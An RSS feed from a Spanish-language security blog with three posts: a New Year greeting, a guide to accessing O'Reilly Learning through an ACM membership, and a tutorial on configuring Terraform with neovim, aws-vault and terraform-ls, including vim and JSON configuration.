<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom"><channel><title>Posts on xbytemx</title><link>https://www.xbyte.mx/posts/</link><description>Recent content in Posts on xbytemx</description><generator>Hugo -- gohugo.io</generator><language>es</language><copyright>&lt;a href="https://creativecommons.org/licenses/by-nc/4.0/" target="_blank" rel="noopener"&gt;CC BY-NC 4.0&lt;/a&gt;</copyright><lastBuildDate>Fri, 02 Jan 2026 00:40:55 -0600</lastBuildDate><atom:link href="https://www.xbyte.mx/posts/index.xml" rel="self" type="application/rss+xml"/><item><title>Feliz 2026</title><link>https://www.xbyte.mx/posts/feliz-2026/</link><pubDate>Fri, 02 Jan 2026 00:40:55 -0600</pubDate><guid>https://www.xbyte.mx/posts/feliz-2026/</guid><description>&lt;p&gt;Feliz 2026!&lt;/p&gt;</description><content type="html"><![CDATA[<p>Feliz 2026!</p>
<p>No lo pensé mucho y me lance a escribir una entrada para desearle a
cualquier persona que llegue a este blog un feliz año nuevo, lleno de
prosperidad y salud. Mis mejores deseos y que la seguridad te acompañe!</p>
<p>Hice una entrada similar por ahí del 2020, y usualmente en redes sociales
(las pocas que uso y las pocas veces que las uso), siempre dejo un mensaje
de mejores deseos al inicio del año.</p>
<p>Muchas cosas han cambiado en mi vida desde la ultima entrada en este blog.
He de confesar que tengo algunas entradas en draft, otras en un PR , y en
general, inclusive tengo notas sobre ideas para nuevas entradas de cosas
que he ido aprendiendo los últimos años. Una meta que evidentemente
fracase del año pasado fue escribir 12 entradas técnicas. Retomo esa idea
ahora en el 2026, no con una métrica en particular, sino simplemente para
condensar notas y aprendizajes que tengo en mi día a día.</p>
<p>El promedio que me tomaba escribir de manera relajada con algunas
distracciones las entradas en este blog, era de aproximadamente 4hrs.
Recuerdo hace un par de años que escribía en los viernes por la noche o
sábados por la mañana. Mi vida ha cambiado en esos horarios, pues ahora
hago deporte, cosa que hace 5 años definitivamente no hacia de ninguna
manera constante. También mis temas de interés han crecido, antes me
interesaba muchísimo el reversing, la seguridad ofensiva y me la pasaba
participando en CTFs.</p>
<p>Ahora me interesa de igual manera la seguridad en la nube y todos sus
temas afines; como desplegar recursos, abstraer la nube mediante código,
construir aplicaciones nativas a la nube para realizar acciones de
seguridad, etc. Me sigue apasionando la seguridad, y inclusive otras cosas
mas creativas con la tecnología. El hackeo (utilizar la tecnología de
maneras diferentes a las intencionadas por sus creadores) y entender como
funcionan las cosas me sigue inspirando. Espero que las futuras entradas
en este blog, continúen llevando la estructura que ayude a comprender a
otros, la creatividad que encienda y conecte con otras ideas, una
cucharada de inspiración para nuevas aventuras.</p>]]></content></item><item><title>ACM y O'Reilly Learning</title><link>https://www.xbyte.mx/posts/acm-and-oreilly/</link><pubDate>Sat, 13 Feb 2021 08:57:02 -0600</pubDate><guid>https://www.xbyte.mx/posts/acm-and-oreilly/</guid><description>&lt;p&gt;Sin duda, uno de los mejores recursos que he encontrado para aprender por mi cuenta es O&amp;rsquo;Reilly Learning, antes conocido como Safari Books Online (SBO). En su catalogo encontramos cursos, libros y entrevistas a expertos en una basta biblioteca de diferentes tópicos de tecnología. Mi acceso a SBO lo obtuve como parte de un convenio con la Association for Computing Machinery (ACM) que mantiene un modelo de suscripción anual para profesionales y estudiantes en países &amp;rsquo;en vías de desarrollo&amp;rsquo; como el mío, donde únicamente pago una suscripción anual de $40 USD.&lt;/p&gt;</description><content type="html"><![CDATA[<p>Sin duda, uno de los mejores recursos que he encontrado para aprender por mi cuenta es O&rsquo;Reilly Learning, antes conocido como Safari Books Online (SBO). En su catalogo encontramos cursos, libros y entrevistas a expertos en una basta biblioteca de diferentes tópicos de tecnología. Mi acceso a SBO lo obtuve como parte de un convenio con la Association for Computing Machinery (ACM) que mantiene un modelo de suscripción anual para profesionales y estudiantes en países &rsquo;en vías de desarrollo&rsquo; como el mío, donde únicamente pago una suscripción anual de $40 USD.</p>
<p>He de comenzar diciendo que este post no es patrocinado ni tiene un sponsor (ni ACM ni O&rsquo;Reilly). Simplemente así como en una ocasión una persona me compartió esta información, yo la comparto para que otras personas puedan aprovecharlo.</p>
<h2 id="acm">ACM</h2>
<p>Como escribí antes, el proceso inicia en ACM. Visitamos la siguiente liga y llenamos nuestros datos:</p>
<p><a href="https://services.acm.org/public/qj/proflevel/proflevel_control.cfm?level=2&amp;country=Mexico&amp;form_type=Professional&amp;promo=LEVEL">ACM Professional for Mexico</a></p>
<p>Se puede pagar por PayPal.</p>
<blockquote>
<p>Importante seleccionar <code>ACM Basic Online Membership Package — ($40 U.S. Dollars)</code></p>
</blockquote>
<p>Nos llegara un correo de confirmación del pago, a la dirección que dejamos configurada.</p>
<p>Posteriormente accederemos a <a href="https://accounts.acm.org/">accounts.acm.org</a> y usaremos la misma dirección de correo que usamos para adquirir la membresía. Esto activara nuestra cuenta y nos pedirá crear un username y password. Es importante activar el username  y password, ya que usaremos estas credenciales para ingresar en SBO.</p>
<h2 id="sbo">SBO</h2>
<p>Ya con nuestra membresía asociada a un username y password, visitaremos <a href="https://learning.oreilly.com">learning.oreilly.com</a>. Aquí se nos pedirá un email y password. Colocaremos nuestro username + <code>@acm.org</code> y esto automáticamente activara un Single Sign-On que nos redirigirá a ACM.</p>
<p>Ya en la pagina de ACM, utilizaremos nuestro username y password para ingresar en ACM, y regresar automáticamente a SBO. Bingo. Tenemos ahora acceso completo a SBO vía ACM.</p>
<p>A estudiar!</p>]]></content></item><item><title>Terraform, neovim y mi experiencia tras una semana</title><link>https://www.xbyte.mx/posts/iac-vim-and-terraform/</link><pubDate>Sat, 23 Jan 2021 13:50:09 -0600</pubDate><guid>https://www.xbyte.mx/posts/iac-vim-and-terraform/</guid><description>&lt;p&gt;¿Haz tenido curiosidad de usar Terraform para administrar tus recursos en
AWS o GCP? Bueno yo también. Tengo una semana explorando sus conceptos,
capacidades y restricciones, en donde hasta el momento, ha sido una
experiencia muy divertida y que realmente he estado disfrutando poco a poco.
Los primeros dos días estuve construyendo un ambiente de trabajo que me
ayudara a integrar y gestionar correctamente la herramienta de
aprovisionamiento, así que decidí escribir esta pequeña guía de algunos
consejos y herramientas para iniciar propiamente con terraform.&lt;/p&gt;</description><content type="html"><![CDATA[<p>¿Haz tenido curiosidad de usar Terraform para administrar tus recursos en
AWS o GCP? Bueno yo también. Tengo una semana explorando sus conceptos,
capacidades y restricciones, en donde hasta el momento, ha sido una
experiencia muy divertida y que realmente he estado disfrutando poco a poco.
Los primeros dos días estuve construyendo un ambiente de trabajo que me
ayudara a integrar y gestionar correctamente la herramienta de
aprovisionamiento, así que decidí escribir esta pequeña guía de algunos
consejos y herramientas para iniciar propiamente con terraform.</p>
<p>Quiero comenzar por mencionar que propiamente no soy desarrollador de
software, así que mis necesidades están orientadas a mantener un ambiente
estable que pueda transportar y ejecutar remotamente. Dicho lo anterior,
hace muchos años elegí VI como editor de texto y más actualmente uso nvim
(NeoVIm), mí propósito con este articulo es extender la capacidad de nvim
para poder detectar errores de sintaxis, autocompletar elementos
predefinidos en el lenguaje y cuidar de manera más activa el formato del
estilo HCL (espacios, lineas, tabs) de mis archivos de configuración de
Terraform. Fuera de neovim, hice algunos ajustes en mi bash para poder
autocompletar algunos comandos de terraform y para manejar de manera mas
segura las claves de acceso de AWS.</p>
<p>Mi recurso principal de aprendizaje actualmente es el libro
<a href="https://learning.oreilly.com/library/view/terraform-up/9781492046899/">Terraform: Up and Running, 2nd Edition</a>
de donde también saque algunas ideas y consejos sobre la primera parte
relacionada a como <em>configurar nuestro proveedor de nube</em>. Mis demás
recursos han sido artículos en blogs y algunas respuestas de stackoverflow.</p>
<h2 id="amazon-web-services">Amazon Web Services</h2>
<p>AWS es el proveedor de nube donde hice mis pruebas y pude comprobar que
terraform tiene bastante madurez y una comunidad muy activa. Agregue esta
sección porque considero importante compartir estas practicas antes de
comenzar con terraform. Muchos tutoriales que encontré omiten practicas de
seguridad en la nube. Ya que este no es un tutorial de AWS, omitiré algunos
conceptos y supondré que el lector ya esta mas familiarizado con la consola
de AWS y sus productos.</p>
<h3 id="definir-una-región">Definir una región</h3>
<p>En mi caso, estaré trabajando en la región <em>us-east-2</em> para mantener un poco
separado lo que ya tengo en otras regiones. Elegir una región es importante
en terraform, porque le dice al <code>provider</code> donde desplegara la
infraestructura.</p>
<h3 id="crear-un-usuario-en-iam-únicamente-usar-terraform">Crear un usuario en IAM únicamente usar terraform</h3>
<p>Crear un usuario o varios, delimita quienes pueden tener la capacidad de
tener acceso a nuestra infraestructura y nos permite mantener una bitácora
mas ordenada. Terraform requiere de acceso a la nube usando credenciales de
&ldquo;programación&rdquo; con los permisos suficientes para crear, destruir o
actualizar los componentes que nosotros definamos por código.</p>
<p>Para añadir un nuevo usuario en AWS accedemos a
<a href="https://console.aws.amazon.com/iam/home?region=us-east-2#/users$new?step=details">IAM-&gt;Usuarios-&gt;Añadir Usuarios</a>
donde seguiremos el wizard de creación de usuarios. En mi caso asigne el
nombre de <em>tfcli</em> para mi usuario. El tipo de acceso debe ser mediante
&ldquo;programación&rdquo;, es decir, usando un ID y una clave secreta, como se menciono
anteriormente.</p>
<p><img src="/img/terraform1/aws1_usuario.png" alt="Add user"></p>
<p>Lo siguiente que requerimos definirle a nuestro usuario son los permisos. En
este <em>breve</em> tutorial/guia, utilizare únicamente el dominio completo sobre
EC2, pero en un caso mas practico, el usuario tendría acceso a todo lo que
definiríamos por código, tales como el propio IAM, S3, Cloudfront, etc.</p>
<p>Nota, una buena practica que aprendí posteriormente, es guardar el estado de
nuestra infraestructura (tfstate) en un
<a href="https://www.terraform.io/docs/language/settings/backends/s3.html">S3 bucket</a>
para poderlo compartir y agregarle una tabla con Dynamo DB para habilitar un
control o seguro, cuando mas de un usuario quiera realizar cambios. Para el
alcance de esta guia/tutorial, dejaremos eso de lado.</p>
<p><img src="/img/terraform1/aws2_permisos.png" alt="Perms for tfcli"></p>
<p>Continuamos con las etiquetas, que de momento podemos ignorar. Después sigue
la revisión donde debemos verificar que nuestro usuario es consistente con
credenciales de &ldquo;programación&rdquo; y que únicamente tiene permisos para EC2.
Seleccionamos crear para continuar y cuando pasemos al paso 5, se nos
compartirá las credenciales: &lsquo;ID de clave de acceso&rsquo; y &lsquo;Clave de acceso
secreta&rsquo;. Es muy importante <em>donde y como</em> guardamos estas credenciales, en
mi caso decidí <em>NO</em> descargar el CVS, y en su lugar almacenar las
credenciales en un archivo <a href="https://www.keepassx.org/">keepassx</a> usando
<code>kpcli</code>.</p>
<p><img src="/img/terraform1/aws3_creado.png" alt="Created User"></p>
<p><img src="/img/terraform1/aws4_keepassx.png" alt="keepassx"></p>
<h3 id="usar-una-bóveda-de-credenciales">Usar una bóveda de credenciales</h3>
<p>Finalmente la ultima nota respecto a AWS y terraform es sobre usar una
bóveda de credenciales. Almacenar credenciales en texto plano es una
horrible practica que seguimos por comodidad o por alguna otra razón. No
solo es almacenar la información de manera segura, sino acceder a estas
credenciales cuando estamos trabajando.</p>
<p><code>aws-vault</code> es una herramienta que nos permite gestionar pares de
credenciales de &ldquo;programación&rdquo; dentro de AWS. Tiene la ventaja interesante
de usar un keyring para almacenar nuestras credenciales y de esa manera
acceder con la identidad respectiva en el entorno necesario. Para comenzar
con <code>aws-vault</code>, descargamos el binario precompilado, lo guardamos en algún
directorio que este en nuestro <code>$PATH</code> y inicializamos la bóveda agregando
un par de credenciales. En mi caso use <code>~/.local/bin</code> para almacenar el
binario, estas credenciales me permitieron crear el keyring, y utilizando
<code>aws-vault exec</code> pude cargar las variables de entorno que están guardadas de
manera segura.</p>
<p>Nota, si escribir cada vez <code>aws-vault exec &lt;perfil&gt; terraform</code> resulta muy
largo, tambien podemos simplemente cargar las variables abriendo una shell
con <code>bash</code>.</p>
<p><img src="/img/terraform1/aws5_awsvault.png" alt="aws-vault"></p>
<h2 id="terraform">Terraform</h2>
<p>Para instalar terraform hay varias formas, tenemos repositorios de
distribuciones, podemos usar las fuentes o podemos bajar el precompilado (mi
opción). Para mas información,
<a href="https://www.terraform.io/downloads.html">aquí</a> y
<a href="https://learn.hashicorp.com/collections/terraform/aws-get-started?utm_source=WEBSITE&amp;utm_medium=WEB_IO&amp;utm_offer=ARTICLE_PAGE&amp;utm_content=DOCS">aquí</a>.</p>
<p><img src="/img/terraform1/tf1_instalacion.png" alt="terraform install"></p>
<p>Después de instalar el binario, una opción que no aparece en el menú de
help, pero si en la documentación, es <code>-install-autocomplete</code>. Esta nos
ayudara autocompletar alguna de sus funciones y con ello familiarizarnos
más.</p>
<p><img src="/img/terraform1/tf2_autocomplete.png" alt="terraform autocomplete"></p>
<p>Una vez aplicado el cambio y que nuestro bashrc ya carga el autocomplete,
podemos presionar <code>&lt;TAB&gt;</code> y ver todas esas opciones que terraform nos
ofrece.</p>
<p><img src="/img/terraform1/tf3_opciones.png" alt="terraform opciones"></p>
<h2 id="neovim">Neovim</h2>
<p>Por fin llegamos a la parte de neovim. Me encuentro usando <code>NVIM v0.4.4</code>,
por lo que es importante que puedas verificar tu versión antes de continuar
y no tener problemas de compatibilidad. Para mis plugins estoy usando Plug,
el cual puedes descargar y configurar directamente del siguiente
<a href="https://github.com/junegunn/vim-plug">repositorio</a>.</p>
<p>Mi configuración base (sin Plug) es la siguiente:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-vim" data-lang="vim"><span style="display:flex;"><span><span style="color:#66d9ef">syntax</span> <span style="color:#a6e22e">on</span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">set</span> <span style="color:#a6e22e">encoding</span>=<span style="color:#a6e22e">utf</span><span style="color:#ae81ff">-8</span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">set</span> <span style="color:#a6e22e">cursorline</span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">set</span> <span style="color:#a6e22e">shiftwidth</span>=<span style="color:#ae81ff">4</span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">set</span> <span style="color:#a6e22e">tabstop</span>=<span style="color:#ae81ff">4</span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">set</span> <span style="color:#a6e22e">number</span> <span style="color:#a6e22e">relativenumber</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">set</span> <span style="color:#a6e22e">background</span>=dark
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">set</span> <span style="color:#a6e22e">t_Co</span>=<span style="color:#ae81ff">256</span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">colorscheme</span> <span style="color:#a6e22e">dracula</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">set</span> <span style="color:#a6e22e">nocompatible</span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">filetype</span> <span style="color:#a6e22e">plugin</span> <span style="color:#a6e22e">indent</span> <span style="color:#a6e22e">on</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">set</span> <span style="color:#a6e22e">splitbelow</span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">set</span> <span style="color:#a6e22e">splitright</span>
</span></span></code></pre></div><p>Ya con la versión correcta o compatible de nvim y tu manejador de plugins
favorito instalado, podemos pasar configurar el Language Server (LS) que
estaremos usando y el cliente de
<a href="https://microsoft.github.io/language-server-protocol/">Language Server Protocol (LSP)</a>
que estaremos integrando con nvim.</p>
<p>Aquí se crea una discusión entre
<a href="https://github.com/hashicorp/terraform-ls">terraform-ls</a> y
<a href="https://github.com/juliosueiras/terraform-lsp">terraform-lsp</a>. Probé ambos
y por compatibilidad e integración, como principiante, les puedo recomendar
<code>terraform-ls</code>.</p>
<p>Para instalar <code>terraform-ls</code> solo debemos bajar el precompilado,
descomprimir y guardar el binario. Nuevamente elegí <code>~/.local/bin</code> como el
destino:</p>
<p><img src="/img/terraform1/nvim1_terraformls.png" alt="terraform-ls"></p>
<p>Para hacer uso de este servidor de lenguajes, necesitamos integrar nvim con
un cliente de LSP. Conquer of Completation o
<a href="https://github.com/neoclide/coc.nvim">CoC</a> es un plugin de nvim que podemos
usar para esta tarea, ya que por sus capacidades nos sera fácil gestionar no
solo este LS sino muchos más.</p>
<p>Otro plugin que nos puede resultar muy útil es
<a href="https://github.com/hashivim/vim-terraform">vim-terraform</a>, que nos ayuda a
hacer highlight de los archivos que terminan en <code>*.tf</code>, <code>*.tfvars</code>,
<code>.terraformrc</code> y <code>terraform.rc</code> como código HCL (HashiCorp Configuration
Language) y los <code>*.tfstate</code> como JSON.</p>
<p>En nuestro <code>~/.config/nvim/init.vim</code> integramos las siguientes lineas al
inicio:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-vim" data-lang="vim"><span style="display:flex;"><span><span style="color:#a6e22e">call</span> <span style="color:#a6e22e">plug</span>#<span style="color:#a6e22e">begin</span>(<span style="color:#e6db74">&#39;~/.vim/plugins&#39;</span>)
</span></span><span style="display:flex;"><span>  <span style="color:#a6e22e">Plug</span> <span style="color:#e6db74">&#39;neoclide/coc.nvim&#39;</span>, {<span style="color:#e6db74">&#39;branch&#39;</span>: <span style="color:#e6db74">&#39;release&#39;</span>}
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>  <span style="color:#a6e22e">Plug</span> <span style="color:#e6db74">&#39;hashivim/vim-terraform&#39;</span>
</span></span><span style="display:flex;"><span>  <span style="color:#66d9ef">let</span> <span style="color:#a6e22e">g</span>:<span style="color:#a6e22e">terraform_fmt_on_save</span>=<span style="color:#ae81ff">1</span>
</span></span><span style="display:flex;"><span>  <span style="color:#66d9ef">let</span> <span style="color:#a6e22e">g</span>:<span style="color:#a6e22e">terraform_align</span>=<span style="color:#ae81ff">1</span>
</span></span><span style="display:flex;"><span><span style="color:#a6e22e">call</span> <span style="color:#a6e22e">plug</span>#<span style="color:#a6e22e">end</span>()
</span></span></code></pre></div><p>Con esta configuración integraremos <code>coc.nvim</code> y <code>vim-terraform</code> con nvim.
Las opciones <code>let</code> me permite que el formato se aplique al salvar los
archivos y que la alineación de espacios se ejecute hasta salvar el archivo.</p>
<p>Guardamos nuestro <code>~/.config/nvim/init.vim</code> con el comando <code>:w</code> y recargamos
nuestra configuración con <code>:source %</code>. Finalmente instalamos los plugins con
<code>:PlugInstall</code>.</p>
<p>El ultimo paso seria configurar <code>CoC</code> con <code>terraform-ls</code>, para ello creamos
(o editamos) el archivo <code>~/.config/nvim/coc-settings.json</code> con el siguiente
contenido:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-json" data-lang="json"><span style="display:flex;"><span>{
</span></span><span style="display:flex;"><span>        <span style="color:#f92672">&#34;languageserver&#34;</span>: {
</span></span><span style="display:flex;"><span>                <span style="color:#f92672">&#34;terraform&#34;</span>: {
</span></span><span style="display:flex;"><span>                        <span style="color:#f92672">&#34;command&#34;</span>: <span style="color:#e6db74">&#34;terraform-ls&#34;</span>,
</span></span><span style="display:flex;"><span>                        <span style="color:#f92672">&#34;args&#34;</span>: [<span style="color:#e6db74">&#34;serve&#34;</span>],
</span></span><span style="display:flex;"><span>                        <span style="color:#f92672">&#34;filetypes&#34;</span>: [
</span></span><span style="display:flex;"><span>                                <span style="color:#e6db74">&#34;terraform&#34;</span>,
</span></span><span style="display:flex;"><span>                                <span style="color:#e6db74">&#34;tf&#34;</span>
</span></span><span style="display:flex;"><span>                        ],
</span></span><span style="display:flex;"><span>                        <span style="color:#f92672">&#34;initializationOptions&#34;</span>: {},
</span></span><span style="display:flex;"><span>                        <span style="color:#f92672">&#34;settings&#34;</span>: {}
</span></span><span style="display:flex;"><span>                }
</span></span><span style="display:flex;"><span>        }
</span></span><span style="display:flex;"><span>}
</span></span></code></pre></div><p>Esta configuración llamara a <code>terraform-ls serve</code> cada que necesitemos
autocompletar providers, resources, output y demas elementos de terraform,
permitiéndonos escribir de manera mas eficiente nuestro código.</p>
<p>Podemos ver un ejemplo de esta integración completa en los siguientes GIF:</p>
<p><img src="/img/terraform1/final1.gif" alt="final autocomplete"></p>
<p><img src="/img/terraform1/final2.gif" alt="final vault"></p>
<blockquote>
<p>Recuerden destruir despues!</p>
</blockquote>
<p>Mi <code>init.vim</code> completo es el siguiente:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-vim" data-lang="vim"><span style="display:flex;"><span><span style="color:#a6e22e">call</span> <span style="color:#a6e22e">plug</span>#<span style="color:#a6e22e">begin</span>(<span style="color:#e6db74">&#39;~/.vim/plugins&#39;</span>)
</span></span><span style="display:flex;"><span>	<span style="color:#a6e22e">Plug</span> <span style="color:#e6db74">&#39;godlygeek/tabular&#39;</span>
</span></span><span style="display:flex;"><span>	<span style="color:#a6e22e">Plug</span> <span style="color:#e6db74">&#39;elzr/vim-json&#39;</span>
</span></span><span style="display:flex;"><span>	<span style="color:#a6e22e">Plug</span> <span style="color:#e6db74">&#39;tpope/vim-markdown&#39;</span>
</span></span><span style="display:flex;"><span>	<span style="color:#a6e22e">Plug</span> <span style="color:#e6db74">&#39;dracula/vim&#39;</span>, { <span style="color:#e6db74">&#39;as&#39;</span>: <span style="color:#e6db74">&#39;dracula&#39;</span> }
</span></span><span style="display:flex;"><span>	<span style="color:#a6e22e">Plug</span> <span style="color:#e6db74">&#39;junegunn/fzf&#39;</span>
</span></span><span style="display:flex;"><span>	<span style="color:#a6e22e">Plug</span> <span style="color:#e6db74">&#39;jeffkreeftmeijer/vim-numbertoggle&#39;</span>
</span></span><span style="display:flex;"><span>	<span style="color:#a6e22e">Plug</span> <span style="color:#e6db74">&#39;leafgarland/typescript-vim&#39;</span>
</span></span><span style="display:flex;"><span>	<span style="color:#a6e22e">Plug</span> <span style="color:#e6db74">&#39;ianks/vim-tsx&#39;</span>
</span></span><span style="display:flex;"><span>	<span style="color:#a6e22e">Plug</span> <span style="color:#e6db74">&#39;neoclide/coc.nvim&#39;</span>, {<span style="color:#e6db74">&#39;branch&#39;</span>: <span style="color:#e6db74">&#39;release&#39;</span>}
</span></span><span style="display:flex;"><span>	<span style="color:#66d9ef">let</span> <span style="color:#a6e22e">g</span>:<span style="color:#a6e22e">coc_global_extensions</span> = [<span style="color:#e6db74">&#39;coc-json&#39;</span>, <span style="color:#e6db74">&#39;coc-tsserver&#39;</span>, <span style="color:#e6db74">&#39;coc-python&#39;</span>, <span style="color:#e6db74">&#39;coc-tslint&#39;</span>, <span style="color:#e6db74">&#39;coc-prettier&#39;</span>, <span style="color:#e6db74">&#39;coc-emmet&#39;</span>, <span style="color:#e6db74">&#39;coc-yaml&#39;</span>, <span style="color:#e6db74">&#39;coc-docker&#39;</span>]
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>	<span style="color:#a6e22e">Plug</span> <span style="color:#e6db74">&#39;hashivim/vim-terraform&#39;</span>
</span></span><span style="display:flex;"><span>	<span style="color:#66d9ef">let</span> <span style="color:#a6e22e">g</span>:<span style="color:#a6e22e">terraform_fmt_on_save</span>=<span style="color:#ae81ff">1</span>
</span></span><span style="display:flex;"><span>	<span style="color:#66d9ef">let</span> <span style="color:#a6e22e">g</span>:<span style="color:#a6e22e">terraform_align</span>=<span style="color:#ae81ff">1</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>	<span style="color:#a6e22e">Plug</span> <span style="color:#e6db74">&#39;itchyny/lightline.vim&#39;</span>
</span></span><span style="display:flex;"><span>	<span style="color:#a6e22e">Plug</span> <span style="color:#e6db74">&#39;mhinz/vim-signify&#39;</span>
</span></span><span style="display:flex;"><span>	<span style="color:#a6e22e">Plug</span> <span style="color:#e6db74">&#39;sheerun/vim-polyglot&#39;</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>	<span style="color:#a6e22e">Plug</span> <span style="color:#e6db74">&#39;preservim/nerdtree&#39;</span>
</span></span><span style="display:flex;"><span>	<span style="color:#a6e22e">Plug</span> <span style="color:#e6db74">&#39;Xuyuanp/nerdtree-git-plugin&#39;</span>
</span></span><span style="display:flex;"><span>	<span style="color:#a6e22e">Plug</span> <span style="color:#e6db74">&#39;ryanoasis/vim-devicons&#39;</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>	<span style="color:#a6e22e">Plug</span> <span style="color:#e6db74">&#39;dpelle/vim-LanguageTool&#39;</span>
</span></span><span style="display:flex;"><span>	<span style="color:#a6e22e">Plug</span> <span style="color:#e6db74">&#39;rhysd/vim-grammarous&#39;</span>
</span></span><span style="display:flex;"><span>	<span style="color:#a6e22e">Plug</span> <span style="color:#e6db74">&#39;junegunn/limelight.vim&#39;</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#a6e22e">call</span> <span style="color:#a6e22e">plug</span>#<span style="color:#a6e22e">end</span>()
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">syntax</span> <span style="color:#a6e22e">on</span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">set</span> <span style="color:#a6e22e">encoding</span>=<span style="color:#a6e22e">utf</span><span style="color:#ae81ff">-8</span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">set</span> <span style="color:#a6e22e">cursorline</span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">set</span> <span style="color:#a6e22e">shiftwidth</span>=<span style="color:#ae81ff">4</span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">set</span> <span style="color:#a6e22e">tabstop</span>=<span style="color:#ae81ff">4</span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">set</span> <span style="color:#a6e22e">number</span> <span style="color:#a6e22e">relativenumber</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">set</span> <span style="color:#a6e22e">background</span>=dark
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">set</span> <span style="color:#a6e22e">t_Co</span>=<span style="color:#ae81ff">256</span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">colorscheme</span> <span style="color:#a6e22e">dracula</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">set</span> <span style="color:#a6e22e">nocompatible</span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">filetype</span> <span style="color:#a6e22e">plugin</span> <span style="color:#a6e22e">indent</span> <span style="color:#a6e22e">on</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">set</span> <span style="color:#a6e22e">splitbelow</span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">set</span> <span style="color:#a6e22e">splitright</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#a6e22e">inoremap</span> &lt;<span style="color:#a6e22e">silent</span>&gt;&lt;<span style="color:#a6e22e">expr</span>&gt; &lt;<span style="color:#a6e22e">c</span>-<span style="color:#a6e22e">space</span>&gt; <span style="color:#a6e22e">coc</span>#<span style="color:#a6e22e">refresh</span>()
</span></span><span style="display:flex;"><span><span style="color:#a6e22e">nnoremap</span> <span style="color:#a6e22e">ñ</span> :<span style="color:#a6e22e">NERDTreeToggle</span>&lt;<span style="color:#a6e22e">CR</span>&gt;
</span></span><span style="display:flex;"><span><span style="color:#75715e">
</span></span></span><span style="display:flex;"><span><span style="color:#75715e">&#34; remember last position jump</span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">autocmd</span> <span style="color:#a6e22e">BufReadPost</span> * <span style="color:#66d9ef">if</span> @% !~# <span style="color:#e6db74">&#39;\.git[\/\\]COMMIT_EDITMSG$&#39;</span> &amp;&amp; <span style="color:#a6e22e">line</span>(<span style="color:#e6db74">&#34;&#39;\&#34;&#34;</span>) &gt; <span style="color:#ae81ff">1</span> &amp;&amp; <span style="color:#a6e22e">line</span>(<span style="color:#e6db74">&#34;&#39;\&#34;&#34;</span>) &lt;= <span style="color:#a6e22e">line</span>(<span style="color:#e6db74">&#34;$&#34;</span>) | <span style="color:#a6e22e">exe</span> <span style="color:#e6db74">&#34;normal! g`\&#34;&#34;</span> | <span style="color:#66d9ef">endif</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">map</span> &lt;<span style="color:#a6e22e">F6</span>&gt; :<span style="color:#a6e22e">setlocal</span> <span style="color:#a6e22e">spell</span>! <span style="color:#a6e22e">spelllang</span>=<span style="color:#a6e22e">es_mx</span>&lt;<span style="color:#a6e22e">CR</span>&gt;
</span></span></code></pre></div><hr>
<p>Muchas gracias por llegar hasta aquí, espero que hayas disfrutado de esta
